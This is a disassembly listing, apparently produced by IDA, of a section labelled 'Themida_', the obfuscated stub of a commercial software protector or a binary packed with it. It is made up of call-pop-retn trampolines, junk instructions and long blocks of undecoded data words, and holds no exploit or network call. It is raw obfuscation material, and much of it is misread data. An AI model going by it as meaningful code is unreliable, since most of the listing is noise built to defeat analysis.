		push	0
		push	ebx
		call	sub_5858D0
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5858D0	proc near		; CODE XREF: Themida_:005858C8p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5858D0	endp

; ---------------------------------------------------------------------------
		dd 0D0A6960Eh, 1E9AF98h, 14E9h,	4D96D700h, 0CB137666h
		dd 9923A279h, 0B95EF55Eh, 2FB300D7h, 0AB90BEEDh, 0B02C93h
		dd 0D073E681h, 70E66C3Fh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 45B376C3h, 2A119589h
		dd 0B60F0614h, 5E8D8h, 6D710000h, 2996E813h, 1419C9BDh
		dd 6BA5E06h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 7FE0C350h, 0BD8B2213h
		dd 6142991h, 0AE9h, 39939600h, 9065B101h, 8B0C3426h, 50006AC3h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 4E8C13Ah, 14E9h, 0D4DA7600h,	98AC3406h, 0E40B160Bh
		dd 0C35D777Fh, 303C2F7Ch, 0E2F76610h, 10E9h, 0A68D4E00h
		dd 0B7BCC31Dh, 0ECE253F8h, 49579691h, 8BD82B9Bh, 140C9DBDh
		dd 10E85006h, 0B1000000h, 656A048Fh, 68A3159Bh,	986B6737h
		dd 0E8E4FD80h, 0Ah, 7693E59Bh, 57F4226h, 8B66C5F9h, 895E5EF3h
		dd 6A241Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 82940FC3h, 0BD8BAFFCh, 6142661h, 0BE9h, 1FDDD800h
		dd 0FF63A16Dh, 48A3B54Dh, 1AA5B5FFh, 81660614h,	0FF80EFD6h
		dd 14116995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 4464540Ah, 1A92D0C0h, 0FB8B6062h
		dd 7E9h, 96B8C500h, 1726C598h, 85B58B61h, 0B0061403h, 0E5BD8B00h
		dd 0E6061404h, 81BD8B70h, 0E406142Ch, 2DBD8971h, 3C06140Bh
		dd 25830F61h, 0F000002h, 0B60FFFB7h, 89B589D8h,	8B06142Fh
		dd 14106DB5h, 6BA06h, 85890000h, 61409B9h, 6AC38Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 9D01FDC3h, 6141129h,	6604E8C1h, 0F766F08Bh, 53006AE2h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 401AE8A7h, 4530B784h, 6585899Ch, 2B061404h, 51006AD8h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 60E99C91h, 0A99D89E8h, 58061414h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 67C35343h, 2F85F280h, 431BD29h
		dd 0D82B0614h, 15A880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0F604EC3h, 384h, 97DD8000h
		dd 0B9615850h, 7, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0DFC35343h, 0FAAAD4Fh, 480h, 56BE6600h,	0C18353h
		dd 1C458589h, 81660614h, 3B180DD6h, 0ED860FD9h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 463BC350h, 0F7D17448h, 8C660C5Ch,	56006AD9h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 14D7810Fh, 0BE24581Bh, 3CA845FCh, 0F04C1F6h,	8C84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 96BF0EF2h, 0CA02D8A5h, 0CE9h, 0A9A81400h
		dd 1EA16E23h, 0F891F696h, 0FFFB8B9Dh, 142E4595h, 0B52B5B06h
		dd 6140611h, 2A858589h,	0C32B0614h, 343DF18Bh, 0F000008h
		dd 3486h, 0DE900h, 62E50000h, 0BC4F88EFh, 0B7924703h, 0E97AB77Eh
		dd 28h,	0DE8h, 795E3500h, 3AE6EBBFh, 0F3355722h, 8B0FEDABh
		dd 0
; ---------------------------------------------------------------------------
		pop	edi
		push	ebx
		mov	esi, edi
		pop	esi
		mov	eax, eax
		movsx	esi, bx
		mov	[ebp+614230Dh],	esi


loc_585CD0:				; CODE XREF: Themida_:005858C0j
		mov	eax, ebx
		mov	ebx, eax
		mov	[ebp+614321Dh],	eax
		mov	dword ptr [ebp+6140231h], 191D6D37h
		mov	eax, eax
		jnp	loc_585CF3
		pusha
		pusha
		popa
		add	bl, 7Bh
		popa


loc_585CF3:				; CODE XREF: Themida_:00585CE6j
		cmp	dword ptr [ebp+6141AA5h], 7D0h
		jnz	loc_585D12
		mov	di, 89E9h
		inc	dword ptr [ebp+6141AA5h]


loc_585D0D:				; CODE XREF: Themida_:loc_585D29j
		mov	esi, 1E7770DFh


loc_585D12:				; CODE XREF: Themida_:00585CFDj
		push	dword ptr [ebp+6141AA5h]
		call	sub_585D2D
		in	eax, 93h
		jbe	short near ptr loc_585D45+2
		inc	edx
		jg	short loc_585D29
		stc
; ---------------------------------------------------------------------------
		db 0C5h, 0CDh, 44h
; ---------------------------------------------------------------------------
		dec	ebx


loc_585D29:				; CODE XREF: Themida_:00585D22j
		jmp	short loc_585D0D
; ---------------------------------------------------------------------------
		aam	2Eh

; =============== S U B	R O U T	I N E =======================================



sub_585D2D	proc near		; CODE XREF: Themida_:00585D18p

; FUNCTION CHUNK AT 00585E1D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00586494 SIZE 00000007 BYTES

		push	edx
		mov	[ebp+6140475h],	ecx
		pop	edi
		pop	esi
		call	dword ptr [ebp+6141169h]
		js	loc_585D45
		mov	di, ax


loc_585D45:				; CODE XREF: sub_585D2D+Fj
					; Themida_:00585D1Fj
		add	esi, [ebp+6141CCDh]
		nop
		inc	eax
		mov	esi, [ebp+6140C09h]
		cmp	dword ptr [ebp+6141CD1h], 0
		jz	loc_585E1D
		mov	edi, 6EE0BB6Dh
		cmp	dword ptr [ebp+61403D9h], 0
		jz	loc_585E1D
		push	0
		push	ecx
		call	sub_585D7D
		and	[ecx-3Dh], bl
sub_585D2D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_585D7D	proc near		; CODE XREF: sub_585D2D+48p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_585D7D	endp

; ---------------------------------------------------------------------------
		fild	dword ptr [esi+esi*4]
		clc
		dec	eax
		mov	byte ptr [esi],	0D8h
		cmc
		mov	edi, [ebp+614090Dh]
		call	dword ptr [ebp+6141CD1h]
		push	0
		push	ebx
		call	sub_585DAD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585DAD	proc near		; CODE XREF: Themida_:00585DA5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_585DAD	endp

; ---------------------------------------------------------------------------
		db 67h,	6Dh, 0F9h
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	loc_585E1D
		jnb	loc_585DD4
		xor	[ebp+6141021h],	edx


loc_585DD4:				; CODE XREF: Themida_:00585DC8j
		lea	ecx, [ebp+6144D79h]
		push	0
		push	ecx
		call	sub_585DE5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585DE5	proc near		; CODE XREF: Themida_:00585DDDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_585DE5	endp

; ---------------------------------------------------------------------------
		mov	byte ptr [ebx],	0B4h
		and	al, [ecx-13h]
		aam	3
		add	[ebp+6141B31h],	ebx
		mov	eax, 5
		jmp	ecx
; ---------------------------------------------------------------------------
		jmp	loc_585E1D
; ---------------------------------------------------------------------------
		db 4Dh
		dd 49C0930Fh, 56BE2F6Eh, 16EBCF6Fh
		db 2Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585D2D


loc_585E1D:				; CODE XREF: sub_585D2D+2Dj
					; sub_585D2D+3Fj ...
		cmp	dword ptr [ebp+6140E4Dh], 0
		jz	loc_586494
		push	0
		push	eax
		call	sub_585E35
		and	[eax-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_585D2D

; =============== S U B	R O U T	I N E =======================================



sub_585E35	proc near		; CODE XREF: sub_585D2D+100p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_585E35	endp

; ---------------------------------------------------------------------------
		db 13h,	0Fh, 84h
		dd 6, 1D71BD8Bh, 0BE660614h, 0BD834CE1h, 61403D9h, 31840F00h
		dd 6A000006h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0C5FCC351h, 218D8DD2h,	6A061411h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 3F3EC357h, 4720BF88h, 66609F69h, 23CBEF81h
		dd 6145F080h, 7C8401C7h, 6A44B2h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 71501EC3h, 85FC603Dh
		dd 8B53CAC9h, 0CB0181FEh, 6A1499CFh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DF0EC353h
		dd 7587AD1Ah, 0F5BD890Ch, 0C706140Ch, 6B340441h, 6ACE70h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0EE44DAC3h, 10044181h, 8931D6D7h, 141BE185h,	6A006A06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0A530C356h, 9FB70972h, 0BF6635D4h, 858DECE0h
		dd 6141121h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	59C35747h, 5502A500h, 539060EDh, 6A90505Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 576CC355h, 0E82DB54Fh, 7, 423107F7h,	53863550h, 21B18589h
		dd 5F5F0614h, 0BDA5EF81h, 95FF1E8Dh, 6140E4Dh, 11218D8Dh
		dd 8B660614h, 75B58BF1h, 0C7061409h, 1,	35BD0B00h, 0C7061434h
		dd 441h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 170424h, 55450000h, 23B902C3h, 0AE8FEh, 0F28B0000h
		dd 99EF79AEh, 449EC102h, 2810Fh, 61600000h, 0FC00B5Eh
		dd 8084h, 0D9B50900h, 8D061410h, 144D798Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 2F7CC35Dh, 0BD8B303Ch, 61421C5h, 5B8h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 0BA1AFAE8h, 0E837D3DCh, 0BF0F8CCAh, 6AE1FFFEh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 8464C356h, 218D8D5Bh, 6A061411h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0DC79C356h
		dd 896A0058h, 0AC3E32A9h, 5EEEC681h, 1C71CB5h, 44AA727Ch
		dd 0E8F3BF0Fh, 0Fh, 0D9B8CE4Fh,	673A6DEEh, 2B2601F4h, 0FE1AF40h
		dd 58Ch, 0CF816600h, 815EB8B3h,	99CFCB01h, 0A9958914h
		dd 0C7061406h, 753C0441h, 0DE8CE78h, 0E0000000h, 7DFE5F70h
		dd 7CFA9270h, 0E7769234h, 441815Fh, 31D6D710h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 74C35040h, 0C6F35A0Ch
		dd 9EC61E7h, 142B4D9Dh,	66006A06h, 35D7F681h, 0B018589h
		dd 858D0614h, 6141121h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0F1C35545h, 0EB38C293h, 0F8BF0F60h, 0DC5E35BEh
		dd 23BE6153h, 900EEABCh, 6650F38Bh, 906BA6BEh, 13CD8D29h
		dd 66600614h, 51C83DB8h, 19FD8D8Bh, 615F0614h, 0E4D95FFh
		dd 8D8D0614h, 6141121h,	9E8h, 0EC987700h, 28E3C667h, 0B52BA71Ch
		dd 6142F75h, 830F605Eh,	6, 2E799D8Bh, 13E80614h, 0CF000000h
		dd 0F9D04D30h, 4813CDDAh, 69D12E9Bh, 253EDDB1h,	9D8BDE8Eh
		dd 61413E1h, 1C7615Eh, 0
; ---------------------------------------------------------------------------
		or	di, 974Fh
		mov	esi, 3AD6556Ch
		mov	dword ptr [ecx+4], 0
		or	eax, eax
		jz	loc_586292
		mov	edi, [ebp+614038Dh]
		lea	ecx, [ebp+6144D79h]
		add	[ebp+6140B09h],	edi
		mov	eax, 5
		push	0
		push	ebx
		call	sub_586257
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586257	proc near		; CODE XREF: Themida_:0058624Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_586257	endp

; ---------------------------------------------------------------------------
		sbb	al, 0ACh
		mov	esi, [ebp+6140849h]
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_58627C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58627C	proc near		; CODE XREF: Themida_:00586274p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_58627C	endp

; ---------------------------------------------------------------------------
		mov	word ptr [ecx-2B4F409Ah], fs


loc_586292:				; CODE XREF: Themida_:0058622Fj
		lea	ecx, [ebp+6141121h]
		movzx	esi, si
		mov	dword ptr [ecx], 54CA95A5h
		push	0
		push	ecx
		call	sub_5862AC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5862AC	proc near		; CODE XREF: Themida_:005862A4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5862AC	endp

; ---------------------------------------------------------------------------
		push	10h
		and	si, 0DF9Fh
		add	dword ptr [ecx], 1499CFCBh
		push	0
		push	edx
		call	sub_5862D4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5862D4	proc near		; CODE XREF: Themida_:005862CCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5862D4	endp

; ---------------------------------------------------------------------------
		popa
		mov	dword ptr [ecx+4], 0CE5F5969h
		push	0
		push	ecx
		call	sub_5862F7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5862F7	proc near		; CODE XREF: Themida_:005862EFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5862F7	endp

; ---------------------------------------------------------------------------
		db 0D6h
		dd 5C2231E7h, 81FAE249h, 0D7100441h, 8B6031D6h,	14053585h
		dd 0D1BD8906h, 61061403h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 786D54C3h, 0B5A3D097h
		dd 858DF819h, 6141121h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0A5C35545h, 3850F01h,	66000000h, 5090F08Bh
		dd 0CE8h, 9A7F9100h, 0FEAA87FCh, 0F7C78002h, 0F18B6602h
		dd 6A905Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0CB43B9C3h, 896FC0C9h, 6820Fh, 0BD8B0000h
		dd 6141BE9h, 0E4D95FFh,	6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 9DE983C3h, 0E994420Dh
		dd 10h,	835E7F35h, 6ADED69Eh, 0B0D89347h, 0A4CE838Eh, 11218D8Dh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0BE51C3h,	1C750h,	0B000000h, 1434E1BDh, 0E9FC6006h
		dd 9, 0D56E0F52h, 7480D972h, 41C761E9h,	4, 0CDB58900h
		dd 0B06141Fh, 45840FC0h, 66000000h, 0BBC4E681h,	4D798D8Dh
		dd 0D6810614h, 3B234F4Eh, 0D3C78166h, 5B85Dh, 0B70F0000h
		dd 6AE1FFFAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0FB81C350h, 95895B2Ah,	6141161h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585D2D


loc_586494:				; CODE XREF: sub_585D2D+F7j
		add	ecx, edx
		jmp	near ptr dword_58536C+33Ch
; END OF FUNCTION CHUNK	FOR sub_585D2D
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5864A6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5864A6	proc near		; CODE XREF: Themida_:0058649Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5864A6	endp

; ---------------------------------------------------------------------------
		dw 0D36Eh
; ---------------------------------------------------------------------------
		mov	[ebp+6140291h],	edx
		mov	eax, ecx
		mov	si, 3C8Dh
		jmp	short loc_5864CA
; ---------------------------------------------------------------------------
		align 4
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5864CA:				; CODE XREF: Themida_:005864C4j
		jmp	loc_5864D7
; ---------------------------------------------------------------------------
		db 8Ah
		dd 346D98EEh
		db 0CDh, 3Dh, 24h
; ---------------------------------------------------------------------------


loc_5864D7:				; CODE XREF: Themida_:loc_5864CAj
		push	0
		push	ebx
		call	sub_5864E2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5864E2	proc near		; CODE XREF: Themida_:005864DAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5864E2	endp

; ---------------------------------------------------------------------------
		dw 0B3h
		dd 0BD07737Fh, 8D0FC778h, 11h, 0CE9h, 0B6135300h, 0C001864Dh
		dd 392105F7h, 99858D97h, 6A06140Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 57E0C351h
		dd 5C5B1563h, 2BD19589h, 0B58B0614h, 6141131h, 8E20BF66h
		dd 8E990h, 0AB340000h, 11A0B9Ch, 9050510Ch, 6AF78B66h
		dd 0D19D8900h, 6A061416h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 24311123h
		dd 8DD3876Bh, 17DA9A85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0F2A002DEh, 89A344E5h
		dd 5C08390h, 4DBE6690h,	5E950A2h, 0BE000000h, 0FA68F091h
		dd 0B1B58990h, 6A061414h, 6A006A00h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 202CC356h
		dd 23C01AAh, 0F59D6146h, 8E8h, 77A7BB00h, 58196715h, 4BEF8197h
		dd 5E0AB3F2h, 1A7195FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 660C85C3h, 8D2540BEh
		dd 17A8FC9Dh, 0B59D8906h, 0FF06141Fh, 53006AD3h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 58E6E93Ah, 236D85FFh, 12E90614h, 0A2000000h,	756E6F8Fh
		dd 7426501Dh, 0FCED3927h, 38CD7180h, 85EE99Ch, 0E80000h
		dd 5D000000h, 0DAA4ED81h, 6A0617h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 4E1C01C3h, 0FF59CD98h
		dd 1A95B58Bh, 0BD810614h, 6141AA5h, 7D0h, 11E860Fh, 8B660000h
		dd 25BD89F0h, 8B06140Eh, 1405319Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 4787CF3Bh
		dd 0DA006866h, 0E3813Eh, 8B000001h, 143431BDh, 0B98D0106h
		dd 0B06142Fh, 0AC850FDBh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0CE52C352h
		dd 0A59968E5h, 625DE451h, 344DB58Bh, 0BD830614h, 617D8E7h
		dd 17840F00h, 89000000h, 1423D19Dh, 76E906h, 8A0F0000h
		dd 6, 23019529h, 85C70614h, 617D8E7h, 1, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 0C1C35646h, 240A965Ah
		dd 251DB58Bh, 8B660614h, 32E9F2h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 23B902C3h
		dd 97E681FEh, 0C759C0C6h, 17D8E785h, 6,	0F98B6600h, 5319D8Dh
		dd 880F0614h, 0
; ---------------------------------------------------------------------------
		and	dword ptr [ebx], 0FFFFFEFFh
		and	esi, [ebp+61418C1h]
		mov	bx, ds
		push	0
		push	eax
		call	sub_5867EE
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5867EE	proc near		; CODE XREF: Themida_:005867E6p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5867EE	endp

; ---------------------------------------------------------------------------
		dw 3F63h
		dd 8B668907h, 4C3F6F3h,	3B840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0FFD0A3C3h
		dd 8BB5A850h, 140689BDh, 4595FF06h, 6606142Eh, 0FEDEEF81h
		dd 0B905090h, 142465B5h, 49FE906h, 0B58B0000h, 6141C69h
		dd 6A00B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 806051C3h, 0A50460F5h, 21E781DEh,	8B40FD18h
		dd 6A70E6F0h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0CA82C351h, 0D1E6E05Eh, 399589D1h
		dd 0E4061425h, 19858971h, 0F06140Ah, 0DE9D8B6h,	4D000000h
		dd 0B590EA08h, 52F46208h, 9D6D63AFh, 6BAh, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 8BFC4344h, 141671B5h, 6AC38B06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 22E6C355h
		dd 74FD94Bh, 9B7AB819h,	0CE9h, 0D7179C00h, 0C9AE829Eh
		dd 9B5CB4ADh, 4E8C1C2h,	66F9B70Fh, 860FE2F7h, 5, 0C8AE90BFh
		dd 6AD82B75h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0E1EFC357h, 14918589h,	0B58B0614h
		dd 6142C5Dh, 241C8950h,	0FEDF47BFh, 9DB58B49h, 0FF061420h
		dd 141AA5B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0DE6FBFDDh, 91952901h, 0E9061411h
		dd 12h,	1E559D01h, 26D4BA62h, 6ECBE2C0h, 0B64BC119h, 95FFE195h
		dd 6141169h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	39C35242h, 0D9374A93h, 2919D413h, 142211B5h, 900B006h
		dd 1423058Dh, 8B70E606h, 8B71E4F8h, 141149B5h, 0F613C06h
		dd 2E883h, 10E800h
		db 0
byte_586A09	db 0, 52h, 9Ch		; DATA XREF: Themida_:0054AFCCo
		dd 0BC9634E0h, 9D67C918h, 0F44D8CEBh, 0BD8BD5D7h, 6140EF9h
		dd 6E85Eh, 0BA550000h, 0F3213FEDh, 0D8B60F5Eh, 13E9h, 2E251E00h
		dd 6E188B7Bh, 0C30D0488h, 69D3AE2Ch, 0E9EF4973h, 6BAh
		dd 0BE800h, 53E80000h, 37195C12h, 705119DEh, 0CE816666h
		dd 8B5F884Bh, 998FBFC3h, 0E8C128F5h, 0A1B58B04h, 6606141Dh
		dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 962ADCC3h, 0F11AE1Ah, 687h, 8D8D8900h, 2B06140Dh
		dd 51006AD8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 522CC7CFh, 8531F3D7h, 61418F9h, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 9410ACECh, 0EE9h, 35354900h,	0E326C949h, 9AA01AC8h
		dd 0BE0231C7h, 74D6859Eh, 880FD82Bh, 1E1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 35C35343h, 2D929501h
		dd 0BEBD299Dh, 77748762h, 7B9h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 89B58B73h
		dd 83061422h, 0BD0300C1h, 6142E81h, 860FD93Bh, 181h, 8BD98C66h
		dd 1402DDBDh, 0ADB58B06h, 0F6061419h, 840F04C1h, 129h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 48C35646h
		dd 7202708Dh, 0C68166D0h, 0BD89B271h, 6142351h,	2E4595FFh
		dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 60447AC3h, 6810Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
		and	edi, [ebp+614093Dh]
		popa
		pop	ebx
		push	0
		push	ebp
		call	sub_586BF3
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586BF3	proc near		; CODE XREF: Themida_:00586BEBp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_586BF3	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebp
		and	bl, [eax]
		jg	short loc_586C31
		popf
		jno	short loc_586C11
		adc	al, 6
		sub	eax, ebx
		push	0


loc_586C11:				; CODE XREF: Themida_:00586C09j
		push	esi
		call	sub_586C1A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586C1A	proc near		; CODE XREF: Themida_:00586C12p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_586C1A	endp

; ---------------------------------------------------------------------------
		dw 4BD5h
		dd 0A2421BFAh
		db 0DEh
; ---------------------------------------------------------------------------


loc_586C31:				; CODE XREF: Themida_:00586C06j
		sahf
		dec	ebx
		push	ebp
		or	[ebp+61414EDh],	ebx
		or	si, 4A32h
		cmp	eax, 834h
		jbe	loc_586CAD
		push	0
		push	eax
		call	sub_586C55
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586C55	proc near		; CODE XREF: Themida_:00586C4Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_586C55	endp

; ---------------------------------------------------------------------------
		add	[edi+59h], ebx
		mov	ecx, 204D80C8h
		lds	edi, [esi-77h]
		mov	ebp, 61418C5h
		jmp	loc_586CED
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_586C85
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586C85	proc near		; CODE XREF: Themida_:00586C7Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_586C85	endp

; ---------------------------------------------------------------------------
		db 0Fh,	91h, 0B7h
		dd 0F158DB7h, 0C84h, 7E900h, 3B510000h,	0BC50F30Ch
		db 0B2h
; ---------------------------------------------------------------------------


loc_586CAD:				; CODE XREF: Themida_:00586C44j
		mov	eax, eax
		push	0
		push	edx
		call	sub_586CBA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586CBA	proc near		; CODE XREF: Themida_:00586CB2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_586CBA	endp

; ---------------------------------------------------------------------------
		dw 0CC81h
